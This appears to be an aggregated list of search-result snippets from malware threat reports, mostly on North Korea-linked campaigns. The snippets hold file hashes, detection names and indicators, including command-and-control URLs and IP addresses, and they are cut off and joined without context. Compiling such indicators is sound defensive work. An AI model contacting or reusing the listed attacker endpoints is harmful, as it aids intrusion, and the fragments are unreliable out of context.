618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 Tags dropperemotetkeyloggerspywaretrojan Details Name 0AE8A7B6B4D70C0884095629FC02C19C Name CAgent11.exe Size 13498368 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5…","…0919c2a84a1c76d6f5268dd5ffd7b5e7 0933fda33f46d2b31e023bf322a11d41 0a0fe8a557eff10b3b32528347b9d988 0ae92755dafc510efdc9f68e817b683a 0c89cc9118b863488f5ba240bfe396f6 14c8b93304700e27b479596024ef19cf 1f5416894b604ed6ef1f839414865eee…","…06c04a8ba382a27b7676f3591246dcbb 07866f30a8b4a3453fd0ff0e82143a83 0808710ecfdb1fb2274209853a256b82 0993cf18121be84f5b1511318df80f44 0aea7e23c016a2bb0b48c1779044b285 URL…","…34e3e94f9955c101640b44926bc44393 Phishing documents sha256 sha1 md5 0b06fb7f53bb7963ec2ff89d832b831763706e44d206a4d0a8c813ebee633e22 f463b1cf8d6dd8004edf047b4dea3c4e283f0ffb fcbe52f671d2f20b292c3057320d89a9…","…자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저 최신 패치, V3 최신 버전 유지가 필요하다. MD5 0585a54a7edc2b8d84de952c748b62d8 05c510fc70d4bdeba2253d563720ff24 0b079ef7bae438b67fc19a875d93a8e3 10c5864f075c24b64c69e60e79dd6cc1 112d6bd5d93a3e7fbdacb77e775e7569 URL…","…악성코드 해쉬값 파일명:faultrep.dll 사이즈:261 KB MD5:e4b8e64ba6493120c7728bddc844e628 SHA-1:5162e8b479835c2aff439bf5a0c5e70329d517f3 SHA-256:0b1d881b010b2230a5ba9e5d9a0f0d31e00ccd6ebedd2568e002e6d35d9967ef 이며 2024-08-24 19:53:56 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.…","…03e4bef86f3e3e6ea23eb6f017af0c98 05c07339603994b36dcfefcce720d03d 07bb21d28ae4ab07d62f8deb4343aaeb 07ed2c9ed61b60078af0164f061696be 0b1de625a89da12bd1fdd292b341bad3 URL…","…upload.vbs : Trojan/VBS.Akdoor (2022.03.30.00) MD5 050e663bf6c97a953e25eb7e9754d656 07232fe7144b0286eb5c9882834eea96 0b41f93365ec443406df942914317ec7 85165e07b9f198a5e4047756eb779b46 a0fddb12d7b3c445fdb7ab602a5bf5fb URL http://nomonth-man.com/uio04/upload.php AhnLab…","…globalkeystroke.com PondRAT SHA256 hashes: 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c 0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e bce1eb513aaac344b5b8f7a9ba9c9e36fc89926d327ee5cc095fb4a895a12f80…","…Indicators of Compromise (IOCs) SHA256 Hashes 081804B491C70BFA63ECDBE9FD4618D3570706AD8B71DBA13E234069648E5E48 0B5DB31E47B0DCCFDEC46E74C0E70C6A1684768DBACC9EACBB4FD2EF851994C7 15D53BB839E00405A34A8B690EC181F5555FC4F891B8248AE7FA72BAD28315A9 1617587CCDF5B0344089559ECF8FE7D39F6E07A6A64F74F2B44BFA2C8CB67983…","…(2019.08.29.00) 행위 진단 – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…Behavior Detection – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…92 6ad6232bcf4cef9bf40cbcae8ed2f985 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b7dad90ecc731523e2eb7d682063a49 516beb7da7f2a8b85cb170570545da4b SHA1: 07b494575d548a83f0812ceba6b8d567c7ec86ed 2217c29e5d5ccfcf58d2b6d9f5e250b687948440 246018220a4f4…","MoonPeak v1 0b8897103135d92b89a83093f00d1da845a1eae63da7b57f638bab48a779808e 2b35ef3080dcc13e2d907f681443f3fc3eda832ae66b0458ca5c97050f849306 4108c5096a62c0a6664eed781c39bb042eb0adf166fcc5d64d7c89139d525d4f…","…1dc625 08ac5048e86d368eea55d55781659dc54070debc9d117ed0a5ca8edd499fe1f8 098dd6d2556fa546132570795a9b901dbf93f306be1a9481b54b85d1f9203c9a 0ba05db51dfb118f82a38afaca2174a9b51ff59f20c90fd634b7298e019eacbf 12ee511259f7f03e8472efa8baf3e250b64f8da65fe71212cedfdac887f503f4 159b20e19c43ff6a8ba906d23596d5d138efa94aa38b611ee36a3f4da813278c 2a25d4…","…MD5 f00bde07d9f8b7af1da425c23cc47e47 SHA1 c0670e18e1e3fbde58a25cbb94ba11558c02e7d3 SHA256 0bc7517aa2f0c1820ced399bfd66b993f10ad77e8d72727b0f3dc1ca35cad7ba SHA512…","…Additional trojanized sample #1 Additional trojanized sample #1 Installation package MD5 4126e1f34cf282c354e17587bb6e8da3 0bdb652bbe15942e866083f29fb6dd62 Package creation date 2018-08-03 09:57:29 2018-08-13 0:12:10 Dropped updater MD5 ffae703a1e327380d85880b9037a0aeb…","…InitialAccess/MDP.Powershell.M1197 – Execution/MDP.Ngrok.M4615 MD5 0859f9666e0428447451c036a38057f6 0be7d0975d3d81403d16ba4c4c9c7bf8 1210ff921922f2e27db4feae9fe63394 188f289206c3a945d670f29400d9f77f 232046aff635f1a5d81e415ef64649b7 URL…","…MD5 068d395c60e32f01b5424e2a8591ba73 0786984ab46482637c2d483ffbaf66dc 093608a2d6eb098eb7ea917cc22e9998 0bf558adde774215bb221465a4edd2fe 0f5762be09db44b2f0ccf05822c8531a URL…","…00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e URL…","…t.zip MD5 4cbafb288263fe76f5e36f1f042be22d s.vbs 622358469e5e24114dd0eb03da815576 xM568.tmp 0c3fd7f45688d5ddb9f0107877ce2fbd 07578.tmp 73ed9b012785dc3b3ee33aa52700cfe4 C2 - 64.49.14.181 ports 8014,7032 Virustotal Bazaar Triage Thank You for…","…svchost.exe injected malware md5 : 70EC91D17B55980036351C70B2CBE3A0 sha1 : 3F64D8526190607541DB64981E38255ADBAD981C sha256 : 0C457E1800DC1E516D97BEF2C8F05C7D9CBB461B45F9257E958C5D88EA7C5EC8 iexplorer.exe injected malware md5 : 327865FA4009FC6A4D2EAD8AA523EEFF sha1 : B889A52BE4E070FDEBED48392574029766FE603D sha256 :…","…Malware hashes HASH TYPE FAMILY / NOTE 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 SHA-256 ‘nfs’ second stage (ELF x86-64, stripped, 179,632 bytes); single honeypot vendor report, not independently corroborated…","…Lilith RAT d3590bf0017815f77bd286b4c47f186832ab2b48f123f95ca4cbc25b95ff8ef3 SHA-256 Custom Lilith RAT 0c5b6081e73a500825eae5687961565bf0e918e91002ce5ff10185ac969a792b SHA-256 Custom Lilith RAT 8b396ba6861a39b1801b369eb461311940d6081eae834d949c9aa55bffd0a625 SHA-256 Custom Lilith…","…Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200 MD5 9e740241ca2acdc79f30ad2c3f50990a SHA1 0c5e4cec03d2eea2b1dd5356fe05de64a0278cd6 SHA256 6ee19085ad5c17f989616d17ef68041910b3d0cbcf7e08cc7d7c1a1cb09e6b69 SHA512…","…0933fda33f46d2b31e023bf322a11d41 0a0fe8a557eff10b3b32528347b9d988 0ae92755dafc510efdc9f68e817b683a 0c89cc9118b863488f5ba240bfe396f6 14c8b93304700e27b479596024ef19cf 1f5416894b604ed6ef1f839414865eee 1f873bc5c6d5ff0ae0f228dbf26220ba…","…The downloaded file is stored in ~/.config/guiconfigd (SHA-1: 0CA1723AFE261CD85B05C9EF424FC50290DCE7DF ).…","…IP 104.168.165.203 104.168.157.45 MD5 53b68b9304a0462761917608ca4e60e7 3d14dd06d85f513dfa96d875fdcc0298 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 95…","…Backdoor/Win.AppleSeed.C5502219 (2023.10.08.03) 행위 진단 – Execution/MDP.Regsvr32.M4470 MD5 02843206001cd952472abf5ae2b981b2 0cce02d2d835a996ad5dfc0406b44b01 153383634ee35b7db6ab59cde68bf526 1f7d2cbfc75d6eb2c4f2b8b7a3eec1bf 232046aff635f1a5d81e415ef64649b7 URL…","…(2023.10.08.03) Behavior Detection – Execution/MDP.Regsvr32.M4470 MD5 02843206001cd952472abf5ae2b981b2 0cce02d2d835a996ad5dfc0406b44b01 153383634ee35b7db6ab59cde68bf526 1f7d2cbfc75d6eb2c4f2b8b7a3eec1bf 232046aff635f1a5d81e415ef64649b7 URL…","…Size 761856 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 00b0cfb59b088b247c97c8fed383c115 SHA1 0cdee734d3a17de0e81b9b2b0b36804d516c3212 SHA256 089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 SHA512…","…089ae8b91642bc246bb0420cc811c5f3 0a546c215bbeb03d759f82d31d395ffe 0a564f880868e043978e36175f56d353 0c1e2150e5ce95d5ae31f02a449614b5 0ced9ecd0ebf44836962b12f18fb81aa URL…","…Size 166400 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 3005f1308e4519477ac25d7bbf054899 SHA1 0cf64de7a635f5760c4684c18a6ad2983a2c0f73 SHA256 2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf SHA512…","…md5 : 3A7355417EBFDB5067582916BBAF0F15 sha1 : E8BEF41ED7D0704D9206880EE0F30B5ECF30F204 sha256 : 0CF7E1268E8652D841B7BDA784707E445B9CDC2A46FFB375C8F239CB4C551F73 공유하기 게시글 관리 Beyond The Binary TAG kimsuky 댓글 0 댓글펼치기 이전 댓글 보기…","…| 2021 년 11 월 - 5 - Name 210811_ 업무연락 ( 사이버안전 ).doc Type Microsoft Word 문서 파일 Behavior VBA Macro SHA-256 0cfa89348dc6007c89852907e464f3e91060e83665d6d62243be225c0e2e44a9 Description VBA Macro Embedded Word Document [ 파일 4] 통일부 직원 사칭 및 사이버안전 심리를 이용한 북한의 정보 탈취형 악성 문서 파일…","…SHA1 0d17d477207d717f4e1be67e96c925aae473109d 1876e829b675e86e950f2e701ab9b2c4a56b4817 8edcd1d8d390d61587d334f4527e569a5bdf915c 57d60872a6239449116c9c609838906cec923ef5 2a900fbfdd65…","…CoinGoTradeUpgradeDaemon Size 33312 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 0d195513534855e613bd7a29243565ab SHA1 80923c208c2c821ed99e1ed8f50bd549598a210c SHA256 326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd SHA512…","…차단할 수 있도록 신경 써야 한다. MD5 01b58f2ff2c14feed46a0768ea46686d 07766e6e9d9f86775ad564a65af292c1 08e19a0d516d14e564359ee111ed2586 0d2e61c8a5e6280e065b61e75b848c68 12391f66ee33d379108fd649a999e1a0 URL…","…can be prevented. MD5 01b58f2ff2c14feed46a0768ea46686d 07766e6e9d9f86775ad564a65af292c1 08e19a0d516d14e564359ee111ed2586 0d2e61c8a5e6280e065b61e75b848c68 12391f66ee33d379108fd649a999e1a0 URL…","…V3 최신 버전 유지가 필요하다고 정리했다. MD5 076a8a0ae0c7d6270070b297c8617e2e 0896485da9a470d504fbaad570b16358 090cfb95ce9ff312c501d7f43267f9ff 0d2e61c8a5e6280e065b61e75b848c68 12391f66ee33d379108fd649a999e1a0 URL…","…00e3a61447fd23e43228c61357cb4466 02af4e78d470551a4e1a16af3668f602 05dffc19ba25d472734030d4bf8e370b 0c6bd107aad6c56119be011241d6ecbf 0d510bcac9d7daebd0ac13ced5243897 URL…","…행위 진단 – Execution/MDP.Command.M10645 AMSI 진단 – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL…","…Detection – Execution/MDP.Command.M10645 AMSI Detection – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL…","…AMSI 진단 – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL…","…AMSI Detection – Trojan/Win.Injector.C5485760 MD5 02804d632675b2a3711e19ef217a2877 0d6717c3fa713c5f5f5cb0539b94b84f 0d691673af913dc0942e55548f6e2e4e 116a71365b83cc38211ccfc8059b363e 2dbe8e89310b42e295bfdf3aad955ba9 URL…","…(...27263.docx.lnk) 6 MD5 11a100d560ebee05dd8467e5eb790c49 d.ps1 (...68013.docx.lnk) 7 MD5 0d6f3ce0c314e611f4e933dd6c17f2e3 zzJG.zip 8 MD5 42f2dbc68c6a4844474c695bf8000420 zzG.zip 9 MD5…","…continue tracking such events and malware and report on our findings. Indicators of Compromise (IoCs) Unpacked Sample (SHA-256) 0d75d429c1cc3550b2961be84af777f8bed287a44a144b7a47988c601e1e9a27 Memory Dump Samples from US-CERT FASTCash Report (SHA-256)…","…MD5 SHA1 SHA256 Malicious ICO File 8875568b90bb03ff54d63d3bd1187063 0d890267ec8d6d2aaf43eaca727c1fbba6acd16e d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 MD5 SHA1 SHA256 Malicious ICO File…","…01723fd6f54a4106069bc32e4a61d82c 08ea68fba0a2bed73b44d962712d0371 0bbf8df4cf217524d1500884bf7da0bc 0d621ff3b6cf5384643a828f6b34ed6c 0d8cd39cb89536c00cec00cf2e669654 URL…","…IoC (Indicator of Compromise) MD5 02ebc2356f9f700bbdac444cdefa0da2 0d8ceb7dea7d471afa2f8e753b13d2d6 1f378c0efc13669dada1fe340c6837bd 2669731cb5ff664dfb5fbfc37637876d 2ab3df4762fbde5d86e99a1ad147850e…","…2018 Attack Indicator Type Indicator Hash b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311 Hash 0d98ca35b29d2a9f7ca6908747c457ebdba999f0e83e182f770848e2335ade5b Folder %LOCALAPPDATA\\MicroSoft Update1 File %LOCALAPPDATA\\MicroSoft Update1\\svServiceUpdate.exe File %TEMP%\\uplog.tmp…","…in this VirusTotal Collection Notable samples: Context SHA256 2022 RambleOn variant 0dadf1240fd097d15dee890d448cfab02d3ef8698bdc44e18f1b5495e500655f Early 2018 ROKRAT variant 21db3886f23e0829142327e0474349a178c22e57dc7dcbcccec0d770c3ab513c Middle 2018…","…CV_OlesiaTsvientukh_SocialResearcher_Sociologist_Qualitative.lnk SHA256 0db1e8a3075ffc2f5caa91abaeabb6ba4365ae0eda64d179374614a79e317733 VelvetCake as trojanized Zoom (zoominstaller.exe) SHA256 ec47a2101de4f1fc25995e775ddb48e20977081c4d885e6ff8fdfe9109d05495…","…SHA-256 f408dee7fa76179d826885c5c6f38acbcc11f3e3abba1f1f58068cdf833b4317 0dc17133b9d54b8d38f5a4f4c49eb0cee7ff2c80b1ea614fb59ca49c3721440b 23c18fe6675b4dad5e1354718fa9bbb096ded4293948d318d0057b51642c4cbb 63c45dd760256bb2bee1eeb9e7d61601c90a752ff46832df39ca1a8d2376b281 82286c…","…0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name bitsran.exe APPENDIX B – YARA RULE rule Hermes2_1 { meta: date…","…MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6…","…macOS devices, contact us for more information or request a free demo . Indicators of Compromise Stage 2 Mach-Os SHA1 Arch Lang 0df7e1d3b3d54336d986574441778c827ff84bf2 FAT objc 27b101707b958139c32388eb4fd79fcd133ed880 ARM objc 338af1d91b846f2238d5a518f951050f90693488 ARM objc…","…According to our Kaspersky Threat Attribution Engine (KTAE), one of the Bookcode malware samples (MD5 0e44fcafab066abe99fe64ec6c46c84e ) contains lots of code overlaps with old Manuscrypt variants. Kaspersky Threat Attribution Engine results for Bookcode Moreover,…","…f6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95eb…","…V3 최신 버전으로 유지하는 것이 필요하다. MD5 04f017c65870791af565edcdd7407cf8 087955e719d00c7a0a07f1ed610894a2 0906e4d23fb07668c024263bc0311cff 0e5509da6e2d2f12250821b871b439c3 1194f56e15beb69fc41e498e240410f4 URL…","…File Name cow.gif MD5 0e595fb4462e99f392d441d960f8bc93 File Name exe.gif MD5 d264875dab332d3475b99461310d7fff 복호화를 거치면, 'EGIS Co., Ltd.' 디지털 서명을 가진 악성 파일이…","…For more information, please refer to the attached file. MD5 0191d9588af4e78211c55d16726fbc8c 08c98fb0b7e0e1cffe8e8d34e2379fd6 0e7000ecc88de21ba0b8c2e3f4bf19e6 16a8aaaf2e3125668e6bfb1705a065f9 23489a6977c905a88d59998d1e42e8d0 URL…","…SHA-256 bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3 0ea29853d7300b8dbd4ddea9923ad791d5629ebdae1c2f564c32916d41579c56 13cc69320ed1e1422d13c3799998050806c72fb5406d85903b8d8860f9734c60 SHA1…","…File Name 요청주신 정책 관련 자료.doc (BlueSky) MD5 0eb6090397c74327cd4d47819f724953 C2 filer1.1apps.com File Name 젠트리온 지갑 관련자료.doc (BlueSky) MD5 2bfbf8ce47585aa86b1ab90ff109fd57 C2…","…2614bd5b8177ef93efaa9b06beda2398 C2 filer1 .1apps.com File Name 요청주신 정책 관련 자료.doc (BlueSky) MD5 0eb6090397c74327cd4d47819f724953 C2 filer1.1apps.com File Name 젠트리온 지갑 관련자료.doc (BlueSky) MD5 2bfbf8ce47585aa86b1ab90ff109fd57 C2…","…Backdoor/Win32.Agent 2019.01.08.00 IoC ( I ndicator s of Compromise) 정보 1 . MD5 2019 사업계획서 .hwp{ 공백 }.exe 0eb739c8faf77dae0546ff447ad06038 미디어 권력이동 ⑥ - 넷플렉스 , 유튜브 .hwp{ 공백 }.exe 9c3396aa94083916227201bf1396a2ca 중국 - 연구자료 .hwp{ 공백 }.scr 20301fdd013c836039b8cfe0d100a1d7…","…(2023.08.17.03) [행위 진단] DefenseEvasion/DETECT.T1059.M11294 DefenseEvasion/DETECT.T1059.M11295 MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php…","…(2023.08.17.03) [Behavior Detection] DefenseEvasion/DETECT.T1059.M11294 DefenseEvasion/DETECT.T1059.M11295 MD5 0eb8db3cbde470407f942fd63afe42b8 27f74072d6268b5d96d73107c560d852 2d444b6f72c8327d1d155faa2cca7fd7 URL http://75.119.136.207/config/bases/config.php…","…文件名 MD5 REPORT.zip 16a34b0e194b3f825a19db5363df4cca 현황조사표.xlsx.lnk 0eb8db3cbde470407f942fd63afe42b8 현황조사표.xlsx 66165dfb784cbcb442e4767f0ca4f469 PMmVvG56FLC9y.bat 2d444b6f72c8327d1d155faa2cca7fd7…","…Lilith RAT 0ecac57958e77648b5e5b47787612f992175bf22e00dbf8ea4de0b9f12dea2d8 SHA-256 Custom Lilith RAT d3590bf0017815f77bd286b4c47f186832ab2b48f123f95ca4cbc25b95ff8ef3 SHA-256 Custom Lilith…","…Name 4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx Size 184848 bytes Type Microsoft Word 2007+ MD5 e7aa0237fc3db67a96ebd877806a2c88 SHA1…","…(2022.03.23.00) – 제 3차 정기총회.doc :Trojan/DOC.Agent (2022.03.23.00) – 주주물량관련.doc :Trojan/DOC.Agent (2022.03.23.00) MD5 0ecc9a4cea5c289732c76234c47a60e9 56a936b9b3a3bdafed40cf5d056febaf 7a2f350a2a6aa1d065c2b19be6dc6fb4 82ed73e4adbe5c26bafb5072657fd46b 869f98aac4963c7db7276d2a914d081e…","…f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c facf3b40a2b99cc15eee7b7aee3b36a57f0951cda45931fcde311c0cc21cdc71 0ed643a30a82daacecfec946031143b962f693104bcb7087ec6bda09ade0f3cb 41d4f7734fbf14ebcdf63f51093718fd5a22ec38a297c0dc3d7704a3fb48b3f9 6a3839788c0dafe591718a3fb6316d12ccd8e82dbcb41ce40e66b743f2dd344d…","…0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…MD5 Hashes d08f1211fe0138134e822e31a47ec5d4 b27881f59c8d8cc529fa80a58709db36 3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8…","…3dc840d32ce86cebf657b17cef62814646ba8e98 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983…","…discourse: Name(s) 3CXDesktopApp-18.12.416.msi Size 97.8MB (102555648 Bytes) File Type Windows Installer MD5 0eeb1c0133eb4d571178b2d9d14ce3e9 SHA1 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e SHA256 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 The…","…MD5 SHA1 SHA256 3CX Windows Installer 0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 MD5 SHA1 SHA256 3CX Windows…","…: C6661195693D0F09D70C643F87194282593EF0D6A0E349720310D760D002E062 decrypted malware md5 : 22BEA8086D87FAC45B85BEA9E81CA142 sha1 : 0EF06518DFCE6641B2002C3C924A770D5E579891 sha256 : A869624BCD3FBA754DEC27FD7B04046455F6929DB7BF117CCA215B78B0889C79 downloaded malware (0xFF encoded) md5 :…","…확인된 파일명 MD5 026a6ed068b12ea1447ca20d4f82452f 032fd60659a82b9b0fefe1eb1728259d 06745253f1daec97554abab0b5ac6568 0efa89b5a10d42c3c4ca2620f28ea770 14d4bc28f58affbb03b0afd2d756c716 Tags: APT CVE-2024-43572 Kimsuky MMC MSC…","…analysis i am using Malwarebox Tooling for most of my work. Everything started with a suspicious CHM sample arriving in MANTIS . SHA256: 0efbd18c77479b458078521c18bdad84852b71250122a17cb8105c10d3df38d4 Infection overview The observed chain can be summarized as follows: Review.chm |_ HTML Help ActiveX shortcut |_ powershell.exe…","…224d2398437e665f3202d4118e4748e2 a2bfa52ac21ab618fb7f8af1261b6428 f316f341f923c1598dbbb6967c1c66e2 0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643 4da5e7d083af1ba3872c205ff27de8cc 9d555c1093ff84ac3d442b1a0617f7ef Domain： myemail.works…","…Printed: Tue Aug 6 23:59:58 2019, Revision Number: {44311F94-C85D-4688-996A-4888F2D32062}, Code page: 1252, Template: x64;1033 MD5 0f03ec3487578cef2398b5b732631fec SHA1 349fb7c922fba6da4bf5c2a3a9e0735f11068dac SHA256 af4144c1f0236e6b59f40d88635ec54c2ef8034f6a96a83f5dbfd6b8ea2c0d49 SHA512…","…MD5 0f27c6e760c2a530ee59d955c566f6da 59a924bb5cb286420edebf8d30ee424b aaeb059d62c448cbea4cf96f1bbf9efa bfe2a0504f7fb1326128763644c88d37 URL…","…Name DorusioUpgrade.exe Size 115712 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 0f39312e8eb5702647664e9ae8502ceb SHA1 7e64fb8ec24361406ed685719d8dedc7920791d5 SHA256 21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831 SHA512…","…(2023.03.07.00) Trojan/PowerShell.Agent.SC186246 (2023.02.09.00) [행위 진단] Execution/MDP.Cmd.M4230 MD5 0f41d386e30e9f5ae5be4a707823fd78 726af41024d06df195784ae88f2849e4 89c0e93813d3549efe7274a0b9597f6f 9f560c90b7ba6f02233094ed03d9272e URL…","…068d395c60e32f01b5424e2a8591ba73 0786984ab46482637c2d483ffbaf66dc 093608a2d6eb098eb7ea917cc22e9998 0bf558adde774215bb221465a4edd2fe 0f5762be09db44b2f0ccf05822c8531a URL…","…Information Theft and Espionage Exposure to Sensitive Data Indicators of Compromise MD5 7a6b45351afef3f5d8015e0fb13342ba 0f5ae560bbaadc7244c6c75da30a101b 501ee5b43833e35a6be3a2f0f977bb7c a5396648475416fcbbedb16470ab98cc f558987b89e65c49739f9b6f69e3c088 SHA-256…","…이용한 국내 APT 공격 분석보고서 – 2021.04.07 [파일 진단] Dropper/LNK.Agent (2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8e5cac0159a31ea808973508ce164e1d aa8ba9a029fa98b868be66b7d46e927b…","…대응하기 위해서는 의심스러운 행위를 탐지 대응까지 가능한 EDR 제품이 필요하다. [파일 진단] Dropper/LNK.Agent (2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8fef5eb77e0a9ef2f97591d4d150a363 aa8ba9a029fa98b868be66b7d46e927b…","…2019-03-05 18:18 Last Modified Name windowsmb C2 https://christinadudley.com/public_html/includes/common/Qfnaq.hta MD5 0f77143ce98d0b9f69c802789e3b1713 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-21 17:42…","…Last Modified Name windowsmb C2 https://christinadudley.com/public_html/includes/common/Qfnaq.hta MD5 0f77143ce98d0b9f69c802789e3b1713 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-21 17:42…","…t File:p.dat IP:45.77.123.18 IP:3.90.35.35 URL:auth.pxaltonet.org URL:www.git-hub.me URI:/file/d/1J6943NKwGIcWHh7lj4o9gJe__9p7F1o7/view MD5:0fb16054a1486b754d1fcc5c6b6e1b01 MD5:26b7d315dd19eb932a08fe474e0f0c31 Muestras Muestra original oculta en un proyecto Java para generar QRs…","…(GUI) x86-64, for MS Windows MD5 b1dd2c73b3c13a147828f7bb4389d241 SHA1 5275449d25a64e7415c1c1e727a0af76b08c2811 SHA256 0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 SHA512…","…Stacked together, they're a high-confidence detection. ## IOCs ### File Hashes (SHA-256) **Malicious LNK Files** ``` 0fc425836eb854914525302b59cb8300b709c3e51ad776455a7eb5e29356d4f3 01f1a70bfc0016d3fceefb3b2133977a6a9649ad1c54280fcbbe1a8f9aad2149 c470bef115787abcc9a1d1df9213a072ab2b6daea5eaaa18a4378bca4d37f7df 8fb56f3d6…","…persistent threats. IOC Files Name Hash sha256 tnviewer.exe aefc12b500b58fbc09ebbf34fe64b34cb32a27513478f4769447280ad23af4d2 0fdd97a597380498f6b2d491f8f50da8f903def4ea6e624b89757456c287f92d radcui.dll fa014db2936da21af5943cc8f3656adb9800173ad86af196f71c6052295fff97 webservices.dll…","…IOC SHA256： 0fe69e67286203ca2dcd080b4c25ab76fc4ca925e6207b193d47f02da1481843 6904be55212c4464ae09dda50fad1b398c4693198bb6a91837421fad873300bb 